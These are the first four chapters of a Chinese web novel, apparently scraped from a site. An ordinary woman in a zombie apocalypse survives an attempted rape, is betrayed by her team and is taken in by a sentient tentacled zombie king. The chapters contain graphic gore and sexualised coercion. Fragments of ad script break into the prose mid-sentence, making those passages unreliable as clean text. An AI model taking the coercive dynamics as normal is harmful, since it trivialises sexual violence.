《怪物们的菟丝花》 1. 触手丧尸王 几个男人掏出面包,大口撕咬着。 “咕咚……咕咚……” 周围有咽口水的声音。 其中也包括颜枝。 面包这个在末日前并不稀奇的东西,在此时却极为珍贵。 末日到来,丧尸的出现打乱了人们安稳有序的生活。 颜枝便是如此。 末日前她的父母皆为高校教授,而她是A大的学生,前途似锦,生活幸福。 谁料,在那个丧尸砸碎她家窗户后,一切都变了,她的父母皆死于丧尸之口,尚在大学城的颜枝勉强逃过一劫,但好景不长,学校也不安全了,她便只能跟随着人群逃了出去。 幸运的是,被这个小队搭救,与他们同行。 好歹命暂时保住了。 颜枝扫视了一下周围,躲在角落,悄悄拿出身上藏的压缩饼干。 她刚咀嚼两口,便被人发现了。 郑文斌眼尖地发现了她,快步走来。 “好啊颜枝,竟在这里吃独食!” 女子惊慌失措道:“不……不是的,这是我在货架上找到的。” 颜枝已经好几天未进食了,好不容易在无人的货架上发现了一袋压缩饼干,她欣喜若狂。 郑文斌扫视了一下女子。 即使逃亡了几天,脸上被蹭的一层灰,模样狼狈也依然能看出颜枝的清丽可人,尽管穿着简单的长袖长裤,也依然能看出她的好身材,这在末日前都能称得上的美人如今流落末日…… 郑文斌眯了眯眼,他可是知道队里可不止他一人对颜枝有色心。 郑文斌靠近颜枝,愈加义正言辞:“你可知道队里每个人都要上供食物,再统一分配的吗?你这个样子,我身为队中的二把手,可是有权将你逐出去!” 末日对大部分人来说都是噩耗,对他来说却是一种解放,要知道,末日前他一个街头混混,哪里会因为觉醒异能混成二把手,如今那些高材生不照样对他卑躬屈膝,寻求保护。 郑文斌看着眼前的美人,眼中痴气顿现,换以前,他给这种大美人提鞋都不配。 颜枝心颤了颤,若是上交粮食的话,便只有异能者可以拥有,而像他们这些普通人就只有饿死的份。 男人色咪咪地看着她:“想不被逐出去的话,就跟了我,我保管你吃香的喝辣的。” 郑文斌要搂她,颜枝连忙避开。 她抿唇道:“你死心吧,我决不会委身于他人的!” 郑文斌被拒绝,脸色一时不太好,他哼了声:“我早晚会等到你来求我。” “求我将你好好xie玩!” 男人打量着她,嘴边露出邪笑,转身离开。 颜枝呼了口气,瘫坐在地上。 夜晚降临,几个守夜的留着,其余人都休息了。 颜枝睡在地上,草草用布袋放在地上,蜷缩成一团。 她做了一个梦。 梦中她被一个不明生物追赶着,她怕极了,不停地跑,不停地跑,却也没有那东西跑的快,还是被追到了,那怪物缠住她的四肢,将她绑住,尝遍她的眼泪。 颜枝惊醒过来,却发现自己此时的情形正与那梦中无二,缠住她的是绿色的藤蔓,仿佛有灵性一般,颜枝惊恐,这莫不是会杀人的怪物,她会被掏去心肝,活活勒死。 女子疯狂地挣扎着。 便见那缠着她右手腕的藤蔓很有灵性地上下晃动了一下。 似与她在打招呼? 颜枝被这个惊奇的猜测吓到。 藤蔓松开她来,又迅速退开,不见踪影。 若不是四肢的红印尚还存在,颜枝还以为自己仍在做梦。 醒来后,小队又要赶路,他们要前往C基地,那里戒备森严,异能者层出不穷,是距离他们最近的庇护所。 颜枝暗暗期待着,待到了那,她便能得到真正的庇护,不用担心自己会随时葬身于丧尸口中。 她将自己窝在一旁,忽然听见郑文斌正恭恭敬敬地对身旁的男人说道:“队长,只要我们再赶上三天路,便能到达C基地了。” 男人容貌俊美,气度不凡,却冷得很。 他嗯了一声。 颜枝眼里浮现出憧憬。 郑文斌凭借着二级风系异能一跃成为小队的二把手,而顾朗则是队长,他前不久刚升为三级雷系异能。 雷系是异能中最为强大的系种,更别说三级了,如今末日刚到,三级实在称得上是强者了,在哪里都受人尊敬。 倘若她也能这样厉害,就不用每天这样苟活着了。 颜枝垂着头,失落地想着。 郑文斌忽然悄悄瞅了一眼顾朗:“队长,我如今也是年纪不小了。可身边还是没个人,我想向你求个人。” 顾朗厌恶地蹙眉,这个垃圾若不是异能等级还算不错,他早想赶出队伍,如今这个关头,脑子里竟还是这些破事! 他冷冷问道:“哦?不妨说说。” 郑文斌忽然看向颜枝,指着她道:“就她。” 颜枝心下一凉,却见周围像她一样的普通人满眼羡慕。 “颜枝,快从了郑副队吧,人家可是二级异能者,以后有你幸福的。” “就是,别不识好歹!” “你说这长的漂亮就是不一样,哪怕到了末日都能让男人养着。” 顾朗扫视了一下颜枝,被她的姿色微微惊艳,下一秒厌恶极了。 像这种空有样貌,毫无力量的花瓶他最是厌恶。 配得上他顾朗的女人,就当是女中豪杰,美貌与实力齐全。 男人轻哼一声,挥挥手:“送你了。” 郑文斌心中一喜,连忙向颜枝走来,他拽起女子,往小树林走去。 女子不断挣扎。 男人狠狠道:“你可是听见了,队长都发话了,你如今是我郑文斌的女人,别不识好歹!” 郑文斌本想将女人拉到小树林狠狠说教,却看到女子因不断挣扎露出的白皙肩头。 他眼中一亮。 “这可是你逼我的,待生米煮成熟饭,看你如何抗拒!” 郑文斌一只手捂住颜枝的嘴,一只手开始解自己的皮带。 颜枝泪流满面,心生绝望,她发了狠心,宁愿咬舌自尽也不愿被这人渣得手。 一枝藤蔓悄悄滑了过来,它在靠近郑文斌之际,迅速变粗变大,木桶大小的藤蔓缠住男人的腰身,不断用力,郑文斌心中一惊,眼里发狠。 “哪里来的怪物,敢惹小爷,看小爷不弄死你!” 男人手中施力,风刃划过藤蔓,藤蔓吃痛,微微松开,郑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 文斌眼中一喜,轻蔑之意明显。 却没想到有数十枝藤蔓来到他们身边,皆缠住郑文斌腰身,他想旧计重施,但却没有作用了,藤蔓加在一起,他的风刃完全无法对它造成伤害。 眼见缠得越来越紧,郑文斌瞪大眼睛,竟断了气。 颜枝恐惧地看着这一幕。 那些缠过她的怪物又来了! 这次她亲眼看着藤蔓将那男人活生生缠死,郑文斌可是二级异能者,下一个就是她了吗? 她还是难逃一死吗? 果然那藤蔓又迅速向她滑来,它们爬到颜枝身上,汲取了一身芬芳,领头的那藤蔓摇了摇身子,藤蔓又尽数退下。 无影无踪。 颜枝惊愕地看着这一幕。 她看向郑文斌。 起身凑到他身旁,伸出手指探向他的鼻尖,惊慌地瘫坐在地,竟是真的断了气。 待回到小队后,顾朗敏锐地看向她。 “郑文斌人呢?” 方才小队中有人发现了郑文斌的尸体,大惊喊人。 颜枝抿唇:“不知道。” 男人瞪着她:“方才他们说你与那郑文斌去了小树林,如今为何只有你?” 颜枝忽然看他:“既然知道,为何又来质问我?” 女子抿唇,下巴瘦的尖尖的,模样极为脆弱可怜。 “你可知道郑文斌想要qiangjian我!难不成你觉得我一个普通人会害的了他一个二级异能者?” 顾朗撇开眼。 他是知道郑文斌的行为,但颜枝作为一个花瓶,不就要做这种勾当吗? 不过这话倒是点醒了他,颜枝一个普通的弱女子,哪里能害的了一个二级异能者。 那个郑文斌真是废物,死的窝囊! 颜枝继续将自己躲在一旁,脑海中藤蔓杀人的场面不断重现。 她抖着唇,不知那藤蔓何时会再找她,取她性命。 顾朗让人安顿好郑文斌的尸体,便见一个怒气冲冲的男人走了过来。 “队长,文斌的死绝对与那个小贱人脱不了干系!” 顾朗冷冷地看着他:“你倒是说说,一个普通女子如何能杀得了一个二级异能者?” 杨眈哑口无言,狠狠道:“就算这样,她害的我们队一名异能者殒命,也该付出代价!” 一大强手就这样死了,他们的路途危机会更多,这一切都是颜枝害的! 顾朗没说话,默默看向远处。 末日到来,弱肉强食,这就是生存法则。 颜枝迷迷糊糊之际,忽然被人踢了一脚。 她看向来人。 杨眈恶意地看向她:“队里所剩粮食不多了,你还不赶紧去找,在这里睡得可真舒服。” 颜枝愤懑心想,找粮食的主力平时都是异能者,她们普通人一般都是跟在后面捡漏以活命。 这人摆明是为难她,可恨她却无能为力。 颜枝叹了口气,前往附近寻找粮食。 她摸了摸身上的小刀,心里流过暖意。 方才平日里蜷缩在她附近的小男孩见颜枝要孤身去找粮食,悄悄递给了她自己护身的小刀。 男孩眼含泪花,殷切地盼望着她能平安归来。 颜枝暗暗握紧小刀。 2. 触手丧尸王 颜枝来到一个废弃的超市,她站在外面观望了一下,似乎并无异常。 她握紧手中的小刀,谨慎地走了进去。 入眼便是一片废墟,食物被尽数掏光,货架倒在地上。 虽然是意料之中,颜枝仍有几分失落,可是她已走了很长的路了,再不找点东西,恐怕她就要渴死在路上了。 颜枝又向深处走去,她挪开货架,忽然看见下面被埋住的矿泉水。 颜枝惊喜地将水拿起,咕咚咕咚喝了下去,肌火烧肠的胃缓和了些许,女子原本干裂的嘴唇也被滋润得有了些许血色。 心中有了期待,颜枝继续将货架搬起。 下面压着的方便面,火腿肠,矿泉水……一一露出。 颜枝欣喜若狂,将东西往包里塞。 骤然,一声嘶吼响起。 颜枝白着脸看去,一只张着血盆大口的丧尸向她扑来。 颜枝吓得大叫一声,她将手中的东西扔向丧尸,不痛不痒,丧尸完全没有感觉,反而因为她这番“反抗”愈发兴奋。 丧尸嘶吼着,口中的利齿尖锐地可以直接刺破人类的脑袋。 女子转过身便跑,她躲在柜门中,迅速上锁,女子用手抵着门,心知这番反抗完全没有作用,只能拖延一会时间罢了。 颜枝眼泪涌出,心生绝望。 一枝藤蔓从地里钻出来,它直勾勾地看着流着泪的女子,突然拔高,舔去女子的泪水。 颜枝惊恐地看着这一幕。 前有丧尸撞门,后有藤蔓杀人,她今日是必死无疑吗? “咚!” 门被撞开了。 丧尸闯了进来。 颜枝狠了神情,今日她死也要拉一个怪物陪葬! 丧尸张大嘴,向女子扑来,下一秒就能将她撕咬成碎片,骤然,颜枝拿起小刀狠狠地插入丧尸的胸膛。 但她力气过小,在丧尸的躲避下,小刀错位插进了它的手臂。 黑色的血液流淌,丧尸疼地吼叫一声。 愈发暴虐,誓要将这个可恶的人类撕碎。 颜枝痛苦地闭上眼,却见那藤蔓毫不留情地绞上丧尸的头颅,眨眼间,头颅便掉了下来。 藤蔓杀死丧尸后,绿色的枝干被黑色的血液浸透,看起来好不诡异。 它将女子捆了起来,黑色的血液又渗透到女子的身上,浑身都是,藤蔓激动地颤抖着,它越来越用力收紧,颜枝喘不过来气,脸色发红发紫,藤蔓却骤然退了下去。 颜枝头脑发昏,瘫倒在地上,半晌喘不过来气。 …… 颜枝回到小队时,却发现他们正在享用泡面。 泡面的香味传来,颜枝咽了一下口水,肚子咕咕地叫着,她正欲往过走,却被杨眈喊住。 “你带回来的物资呢?” 颜枝将包打开,掏出两根火腿肠和一瓶矿泉水。 杨眈打量着她,女子走前还衣着整齐,现在狼狈不堪,衣服上满是黑色的污垢,头发乱糟糟的。 他刻薄地说道:“这些是打发要饭的呢?让你出去给小队找食物,这点儿够谁吃?!” 面对男人的咄咄逼人,颜枝气的眼睛都发红了,无奈自己只是个普通人,对方却是个二级异能者,倘若自己追究起来,实在是以卵击石。 女子冷着脸,认真地说道:“我能找到的就这些了,这也是我拼命带回来的!” 杨眈不屑地拿走火腿肠和矿泉水,嗤笑道:“女人果然没用。” 颜枝不在意他说的话,走向队伍,想给自己舀一碗泡面。 刚想拿起勺子,便被人捷足先登。 杨眈冷哼道:“谁允许你吃的?” 女子抿唇说道:“这是小队的食物,我也是队伍的一员。” 男人看向她:“你是异能者吗?你配吃吗?” 颜枝指向一旁吃饭的人:“同为普通人,为何他们可以,我不行?” 杨眈冷冷地说道:“我就是看你不顺眼怎么了,不想给你吃,你还敢有二话?” “你!” 颜枝一整天的遭遇袭来,又是被人强迫,又是险些被丧尸撕碎,又是被藤蔓绞死,现在还被人刻意针对,实在没忍住,她的眼泪便流了出来。 她沉默地转过身,准备离开。 却被一声叫停。 顾朗看向男人,冷声道:“杨眈,你过分了,这次找到充足的物资,小队无论异能者或是普通人皆可享用,颜枝作为小队的一员,理应有吃饭的权力。” 杨眈想反驳,却被顾朗警告的眼神吓到,他闷闷地将勺子甩给颜枝。 颜枝看向顾朗,低声道谢。 这才低着头为自己舀面。 顾朗看着她这般姿态,微愣。 躲到自己的老位置后,颜枝疲惫地闭上眼,却听见有人在她耳边叫她。 “姐姐,姐姐……” 颜枝睁开眼,便看见小男孩正惊慌地看着她。 看到她没事,这才放松了表情。 颜枝心中一暖,想到什么,愧疚地说道:“你那个小刀……被我弄坏了。” 男孩眨眨眼,慷慨道:“这算什么,那刀子走在路上随便都能捡一个,看到姐姐平安归来,我便放心了。” 颜枝摸摸他的头,男孩因末日赶路面黄肌瘦,本是长身体的年纪,却这般瘦小。 “你今年多大了?” “十三岁了。” 颜枝惊愕,竟十三岁,她还以为这小男孩只有十岁的样子。 她打开包包,掏出一个面包,递给他。 男孩看到那个面包,立马咽了一下口水,又摇摇头:“姐姐你吃,我不饿。” 颜枝叹了口气,将面包塞入他怀中:“我方才吃了泡面,已经吃不下东西了,你胃里应当是没有东西的,快吃吧。” 男孩窘迫地心想,他分配到的泡面早被其他普通人抢走了,对方虽无异能,却也是个成年人,没想到姐姐这也能看出来。 他也便不客气了,撕开包装袋, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便狼吞虎咽地吃着,面包松软可口,男孩幸福地眯着眼睛。 “你叫什么名字啊?” “杨康。” 他咬着面包口齿不清道。 颜枝忽然看向他:“小康,姐姐要做一件要事,你可以守着我吗?” 杨康立马点点头。 颜枝躺在一旁,离人群远远的。 在近日一周内,异能者的人数大大提升,这件事情已不是件秘密,许多人传言丧尸的晶核可以提升异能,而二级丧尸的晶核则能帮助普通人有百分之六十的机率觉醒异能。 只是这件事毕竟是传言,况且二级丧尸的晶核哪里是那么好得到的,因此也不了了之。 传言一级丧尸的晶核是银白色,二级丧尸的晶核为灰色,层层递增,越高等级的晶核颜色便更深。 颜枝拿出晶核,赫然是一颗灰色的晶核。 这便是那袭击她的丧尸晶核了。 那个丧尸被藤蔓绞死,她醒来后,便看见地上有这颗晶核,想到那个传说,她便悄悄地收了起来。 经过种种事件,颜枝已深刻体会到力量的重要性。 哪怕是传言,她也要拼死试试。 颜枝将晶核塞进口中,奇怪的是,坚硬的晶核竟在口中被含了一会儿后便融化得如同水一般,被人体吸收了。 半晌不见作用,颜枝失落地垂下眼。 夜深睡得迷迷糊糊时,颜枝忽然感觉体内有一团火在烧,烧得她头脑混沌,四肢乏力。 勉强地睁开眼,便看见一个小小的身影坚定地坐在自己面前,警惕地看向远处。 颜枝心一暖。 过了会儿,燥热消失了,转变为严寒。 明明是秋高气爽的天气,颜枝却觉得像是到了飞雪的季节,她冷的打颤,便只能紧紧抱住自己。 不断地折磨下,颜枝渐渐晕了过去。 再醒来,已是白天了。 颜枝感觉神清气爽,她心里一喜,正欲看看自己是觉醒了什么异能,便看见杨康正迷迷瞪瞪地打盹,他瞌睡地低下头,又猛地抬起来,又垂下头。 颜枝笑了笑,她走了过去唤杨康。 杨康看见她心里一喜:“姐姐你事情做好了。” “是的,所以你快去睡觉吧。” 男孩欣喜地躺在布袋上,不一会儿,便酣睡了。 颜枝放下心来,开始试着施展异能,却半晌没有效果。 她困顿地蹙眉,难不成她感觉错了,她并没有觉醒异能? 但是分明都不是错觉啊。 颜枝暂时将情绪放了下来。 忽然感觉到口渴,她从包里掏出矿泉水,手指刚触及到水,便感觉到一股奇怪的感觉油然而生。 颜枝呆愣地跟随着感觉,移动手指,暗暗凝聚心神,忽然看到瓶中的水被操控地涌了出来。 下一秒,精神力不足,水便哗啦啦掉在了地上。 颜枝吸了吸鼻子。 轻声道:“我也有异能了。” 3. 触手丧尸王 天亮后,小队便继续前进了。 在顾朗有意无意地警告后,杨眈暂时放松了对颜枝的针对,颜枝虽是松了口气,却仍然心里慌乱。 想起杨眈蔑视的眼神,她总觉得会发生些什么。 因此她一得空就训练异能,但她那次操控水流似乎是昙花一现,她费尽精神力也只凝聚出小水滴,既耗费精力又耗时,着实鸡肋。 颜枝颓丧了一阵,又打起精神。 两辆面包车平稳地行驶着,五六个异能者独坐一辆,剩下十几个普通人挤在一起,车内空间狭小,不同的气味混杂在一起,熏的人头疼发呕,颜枝抱着腿放空心绪,忽然车刹住了,人因为惯性向前倾,颜枝拉住身旁的杨康,堪堪稳住身子。 车里发生了躁乱,人声沸沸。 “怎么回事啊?” “谁踩老子的脚?看老子不剁了你!” 有胆大的向外探头,忽然惊恐喊道: “丧尸!有丧尸!” 有人不以为然:“这不笑话,末日最不缺的就是丧尸了,有什么大惊小怪的!” “是丧尸潮!” 众人一惊。 颜枝向外看去,惊恐地瞪大双眼。 数不清的丧尸,将他们包围在一起,前面异能者的车被迫停住,几个异能者正不停地杀丧尸,但这只是杯水车薪,越来越多的丧尸围了上来,根本杀不完的! 普通人这车根本没有一个异能者,完全没法抵抗丧尸,眼见外面的丧尸不断撞击着车,车上胆小的人已经开始哭泣了。 一个壮汉狠狠瞪了一眼哭的人。 “哭什么哭,不是还有异能者吗?他们肯定要赶来保护我们的!” 有人悄悄道:“可那是丧尸潮。” 壮汉感觉自己的脸面被打了,脸色不太好。 他拿起大刀,什么丧尸潮,这群四肢不发达,头脑简单的怪物,他见一个杀一个! “都是一群胆小鬼,看老子不杀它们个片甲不留!” 壮汉打开门,跳了下去,旁边的人立马把门关上。 壮汉拿起大刀,用蛮力将一个丧尸的头颅砍去,他轻蔑一笑,他林大生砍丧尸就像砍萝卜一样,没有异能又怎样,他照样是末世里的大英雄! 他正想像刚才一样砍去第二个丧尸的头颅,却没想到竟被四个丧尸围住,丧尸嘶吼着,在壮汉惊恐的眼神中,狠狠将他撕烂。 壮汉的头颅滚到了地上,还死死睁着眼,他的身体被分成好几块,无一不进了丧尸的肚子里,地上大片的鲜红色血迹,触目惊心。 车上已经有人呕吐了。 这简直就是大屠杀。 “啊!” 原来是车窗那块已经被丧尸咬开了一大块,靠近车窗的人无一不进了丧尸的肚子,人们崩溃地哭喊着,希望那群异能者能赶紧过来救命,可是那群异能者已经自顾不暇了,哪里还顾得上他们。 颜枝颤着手,看向身旁同样抖着身子的杨康。 “现在待在车上便是死路一条,我们杀出一条路,逃到异能者的车上,就还有一线生机。” 杨康惊恐地点点头。 他此时已不知晓作何反应了,他还年幼,即使已习惯末世的残酷,却也被这场面吓怕了胆,只能将颜枝作为主心骨,她说什么就是什么。 颜枝拉紧杨康的手,让杨康将匕首握紧。 她一手拿着匕首,一手暗暗施展异能,祈求这次可以成功。 幸运的是,她的右手成功凝聚出水流。 两人立马打开车门,跳门而逃,这种行为的人很多,但无一不进了丧尸的口,因此大多的人还是萎缩在车上,企图活命。 颜枝已准备好经历一场恶战了。 但她奇怪地发现,一路上竟然只有零星几个丧尸攻击她,顺畅得不行。 颜枝没有发现,她身后的丧尸远远地避开她,甚至有些恐惧她身上所散发的气息,她所走过的道路,仿佛形成一个透明的保护圈。 好不容易上了车,正杀丧尸的顾朗惊愕地看着她。 似乎在疑惑她竟然能活下来,甚至能逃到他们车上。 “还请队长能够庇护我们。” 颜枝狼狈极了,她将怀里的杨康露了出来。 顾朗点点头,继而双手凝聚出一道雷电,向丧尸劈了过去,只一道过去,三个丧尸皆被电成灰烬。 只是他似乎也有些累了,额头上大滴大滴的泪珠滑落,手中凝聚的雷电越来越小。 不仅是他,其他异能者都是如此,甚至比他的情况还要糟糕。 异能者的力量终究是有限的,这都是由个人的精神力控制,倘若只是杀几个丧尸便无伤大雅,但是不停地杀,终究还是会脱力的。 颜枝眼里浮现出几分担忧。 她暗暗凝聚出水流,向丧尸攻击去。 虽然力量薄弱,却也能够帮一些小忙。 顾朗吃惊她竟然觉醒了异能,但这并不是详问的场合。 只是,她不防备,却感觉到一股力量从自己背后袭来, 颜枝瞬间从车上跌落,掉入丧尸潮中。 杨康红着眼大喊道:“姐姐!” 车下的丧尸虎视眈眈,颜枝绝望地流下眼泪,看向了那个手的主人——是杨眈! 眼见丧尸围了过去,杨眈立马开车,面包车飞快地逃离出丧尸潮,只能看见一抹汽车尾气。 承载着普通人的那辆车彻底沦陷。 人类痛苦的喊叫声此起彼伏。 十几个人,无一生还。 终于安全了。 杨眈轻松地呼了口气。 却看见顾朗沉沉地看着他。 “你将颜枝推了下去?” 男人义正言辞:“朗哥,那可是丧尸潮,舍不得孩子套不着狼,难不成我们几个异能者真要死在那里!” 顾朗沉默了,他看向杨康,男孩哭红了眼,此时正狠狠地瞪着杨眈。 “你这个坏人,是你杀了姐姐!” 杨眈猛踹了他一脚,男孩顿时趴倒在地上,嘴里吐出一口献血。 “你个小兔崽子,要不是我,你指不定还在哪个丧尸的肚子里呢,敢对救命恩人这么说话,信不信我把你亲自丢丧尸嘴里!” 男人残忍地笑着。 顾朗移开了目光,想到那张俏脸,心里有些复杂。 …… 丧尸将她一口吞掉,咬碎她的身躯,她的头颅滚在地上,与壮汉的头颅重叠在一起。 颜枝猛地惊醒,眼角还挂着泪珠。 她看向自己,胳膊还在,腿还在,头也在脖子上好好的,她呼了口气。 颜枝看向四周,才发觉这是一个打扮得很干净的屋子。 她打响警铃。 这一切似乎在正常 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不过,可是这是末日后,大家都在忙着逃跑活命,哪里能住上这么干净舒适的屋子,一点灰尘都不沾,仿佛还在末日前一样。 颜枝警惕地看着周围,手中的水流暗暗凝聚,忽然听见脚步声。 一个男人端着一碗面走了过来。 他将面放在桌子上,静静地看着颜枝,似乎在提醒她过来吃。 走路很正常,不像丧尸那样歪歪扭扭,身上穿着干净的衣服,颜枝却惊恐地看向他明显异于常人的模样。 灰色的瞳孔,灰色的皮肤,这一切都摆明了这个人是个丧尸! 颜枝心中恐惧更深,而且,这显然是已经有了灵智的丧尸,明显不同于平日里见过的痴傻怪物。 丧尸竟已提高到这样的等级了吗? 颜枝慢慢向后退去,她即使逃过了丧尸潮,也照样摆脱不了被丧尸吃掉的结果吗? 男人向她走来,轻嗅她身上的味道。 眼里闪过痴迷。 香。 好香。 香到他恨不得将眼前这个甜美的食物立马吞入口中。 只是。 男人灰色的眸子嫌弃地在她身上打量。 瘦骨嶙峋的。 脏脏的。 颜枝感觉自己被这个怪物抱起,她静静地呜咽着,却发现对方将她抱上楼,丢进了浴缸里,顺便打开了花洒。 这…… 这是要将她洗干净再吃吗? 颜枝一边呜咽着,一边清洗着自己。 算了。 既然难逃一死,她就干干净净地死去。 男人静静地坐在沙发上等待着,却有藤蔓按耐不住,跃跃欲试,想往浴室钻。 男人按住藤蔓。 藤蔓顿时不高兴了。 埋怨的声音在他脑中响起。 “你不是也觉得很香吗?” “就是,装什么好人。” “你不方便,就让我们去品尝一下她的味道,这样你也能感受到她的美味了。” 男人听后,喉结微微滚动。 手下却不容置疑地将藤蔓按住。 “不可,她正在沐浴。” 颜枝磨蹭了两个半小时,最后生怕那怪物觉得她逃跑了,这才不情不愿地出来。 “你现在要吃了我吗?” 男人听后,眼里闪过困惑。 他将面推过来。 热气腾腾的,显然他又热了一下。 颜枝心中慨叹。 这丧尸竟是个有人性的,竟也知道断头饭。 女子低着头一个劲地扒拉饭,眼泪大滴大滴地往下掉。 男人皱眉看着她,将碗向外挪了一些。 颜枝立马有了发泄口,她哭着喊道:“你这个怪物怎么这样可恶,都要吃我了,竟也不让我在死前吃饱。” 对方懵懵懂懂,不太理解她的话,又将碗向她那里挪了一下。 颜枝也不吃了,她看着这怪物,忽然心里升起一个念头。 也许,这个丧尸不打算吃她呢。 她试探地说出口:“既然你现在也不想吃我了,那我就去睡觉了。” 见男人没有反应,颜枝又试探性地迈开腿,见他没起身,颜枝立马噔噔噔跑上楼。 随意找了一个卧室,将自己锁在了里面。 这才瘫坐在地上,庆幸地呼了口气。 4. 触手丧尸王 夜深,颜枝本是警惕地睁着眼睛,无奈眼皮子像被胶水粘住一样,迷迷糊糊之际,便睡着了。 门那里传来动静,吧嗒一声,便开了。 有人影向床边走来。 男人眸色深深,低下头轻嗅。 眼里闪过痴迷。 头发触碰到女子的脖颈,她哼唧了一声,翻了个身。 男人将头埋的更深,口中的尖牙显露,摩挲在白嫩的脖颈处,似乎在寻找一个合适的位置下口。 他本就不灵光的脑袋此时晕乎乎的,整个人像到了一个美妙的仙境。 颜枝察觉到有什么坚硬的东西在自己脖颈处移动,一惊,睁开眼便看见一个大大的脑袋在自己锁骨处埋着。 对方灰色的眸子深深地盯着自己,锋利的尖牙陷入自己的皮肉之中。 颜枝吓得立马将他推开。 眼泪汪汪道:“丧尸哥别吃我,求你了,我不好吃的。” 女子一边擦泪,一边抬眼看他,眸中小心翼翼的讨好之意明显。 男人歪头看她。 “香……想吃……” 颜枝一边惊愕他竟然会说话,一边绝望地想道他竟然真的想要吃她。 只见女子伸出胳膊,一副大义凛然的模样。 闭着眼。 “你救了我,我可以给你吃,但是只能吃一小口哦。” 男人眼睛一下子亮了。 小食物愿意给自己吃了。 他的嘴唇贴住女子的胳膊,香味直冲他的脑海,刺激得他眼中红光顿现,他轻舔人类白嫩的胳膊,留下湿润的水痕。 颜枝闭着眼,半晌没等到降临的疼痛感,却等到了这奇怪的感觉,她不自在地红了脸。 她长这么大,从来都没和男生这么亲密过, 她瞥了眼还在兴奋舔舐自己的丧尸。 虽说是个丧尸,但这外观与男子无异。 男人本想狠狠咬下这块香喷喷的肉,但是看到胳膊上因利齿出现的红痕,他诡异地停止了这个行动。 心里莫名有种奇怪的感觉。 他想,可能是因为食物还太小了,一口就能吃完,太不过瘾了,他要将她养的白白胖胖的,再慢慢品尝。 想到这里,他的心里升起一股满足感。 但是这个食物实在是太香了。 男人将她推倒在床上,不在满足于仅仅舔舐胳膊,他不断转移着阵地。 颜枝紧闭着眼,忽然想起一篇报道。 动物世界中,食肉动物在享用食物时,往往会将其全身打下属于自己的烙印,然后再尽情品尝,所以,她现在也是这样吗? 女子眼角沁出泪滴,都说好只吃一口的。 又想到是他将自己从丧尸潮中救了出来,罢了,这条命既是他的,他想要就给了。 话虽如此,颜枝还是小声啜泣开来。 男人的动作停止了。 他看着她的眼泪,眼里闪过困惑。 “为……何哭?” 他都已经打算暂时不吃她了,这个人类怎么还这样难过。 丧尸忽然开始烦躁了。 他已经够迁就这个小人类了,她竟然不领情,还不如直接一口吃了算了。 女子攀着他的脖颈,委屈说道:“方才我说只吃一小口,你也没有反驳,现在又想要将我吞掉。” 女孩子的声音娇滴滴的,又带着哭腔,若对方是个血气方刚的男人,早心软成一团了,但是对方是个不通人情的丧尸。 他冷着脸,心里也不高兴了。 “我…本来不想……吃你的,但是……你惹我……生气了,所……以我现在决定……要吃掉你。” 他要将眼前这个人类咬成碎块,狠狠吞下去。 锋利的牙齿露了出来,他嘶吼一声,垂头就要咬断女子的脖颈。 下一瞬,一道水流便直直地喷到他的脸上。 身下的女子飞快地逃出去。 眼见丧尸痴傻在原地,颜枝咬咬牙,立马翻窗,跳了出去。 索性屋子在二楼,并不高,跳出去也不会受什么伤。 但是她高估了自己的体能,二楼确实不高,虽然颜枝觉醒了异能,但身体素质依然很脆皮,所以刚跳下去,颜枝便崴了脚。 她痛呼一声,用手捂住脚,使劲往前迈开步子。 颜枝一下子摔了个狗朝天。 她抬起眼,便发现男人直直地看着她,眸色深深。 * 颜枝不知道她如今是什么身份。 她坐在丧尸的怀中,男人痴迷地闻着她的味道,据他所说,她很香,他很久之前便被吸引住了。 这姑且认为是长期储备粮吧。 但是下一秒,一道水流从她指尖升起,喷洒在丧尸的脸上,他惬意地眯眼。 “干净……喜欢……” 丧尸认真地对她说道。 颜枝看了眼四周一尘不染的环境,再看着身为丧尸的他却穿的干干净净的模样,头脑中升起一个神奇的猜测。 这个丧尸该不会生前还是个洁癖吧,导致被同化成丧尸后竟也保留着这个习惯。 现在看来。 她便是个长期储备粮加清洁员吧。 颜枝暗暗松了口气,至少没打算现在就将她吃了,她还能多活一段时间。 丧尸抚摸着人类的头发。 “没有……食物了……你乖乖……待在家,我……出去……找……” 颜枝眼里闪过复杂。 作为丧尸的他自然是不需要食物的,那就只能是给她准备的。 她乖乖点头。 丧尸满足地舔舔她的脸,便跳窗跑了出去。 颜枝下定决心,刚想起身。 便看到刚才离开的丧尸又从窗外跳了进来。 他将女子抱进怀里。 嘴里嘟囔着。 “带着……一起去……” 于是,一人一丧尸就这样启程了。 颜枝本就猜到他定是个高级丧尸,但是真正出去后,才意识到男人的厉害。 所到之处,丧尸无一不跪下膜拜他,它们嘶吼着,颜枝听不懂在交流着什么,但是隐隐感觉自己可能抱上了大腿。 这个等级,岂不是丧尸王。 他对她占有欲极强,一直将她抱在怀里,有丧尸忍受不了香味看她,便会被丧尸王割去脑袋,这群丧尸大多是低级丧尸,虽然没有灵智,但也能感受到危险的气息,加上同类死的这么凄惨,本能地感觉到危险,再也没有胆大的敢垂涎颜枝了。 跪在地上瑟瑟发抖。 颜枝心里也有些胆怯,眼睛乱瞟间,忽然看到那只丧尸掉落的晶核。 她眼睛一亮。 指着那个晶核道:“我想要这个。” 似乎意识到自己的语气有点像命令了,想到丧尸王那残忍的手段,心里一后怕,小声地补充道:“可以吗?” 丧尸王指挥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着一只丧尸将那晶核奉上来。 随意地丢给颜枝。 “喜欢……给你……” 颜枝紧紧握住晶核,眼里闪过欣喜。 她将晶核小心翼翼地放进包里,将丧尸王紧紧地搂住。 管他是人还是丧尸。 人类又怎样,同为人类,也会因为私心将人推进丧尸潮。 颜枝第一次升起了一个念头。 似乎跟着他也不错。 然后好笑地打消了这个念头。 她竟然忘了,这个丧尸是想吃她的,只是不知因为什么原因暂时放下了这个念头,但这不代表她会一直安全。 她连保命都难,竟还奢望受丧尸的庇护。 丧尸王因为人类的主动亲近,愉悦地眯了眯眼。 一块晶核罢了。 竟然能让这个人类这么高兴。 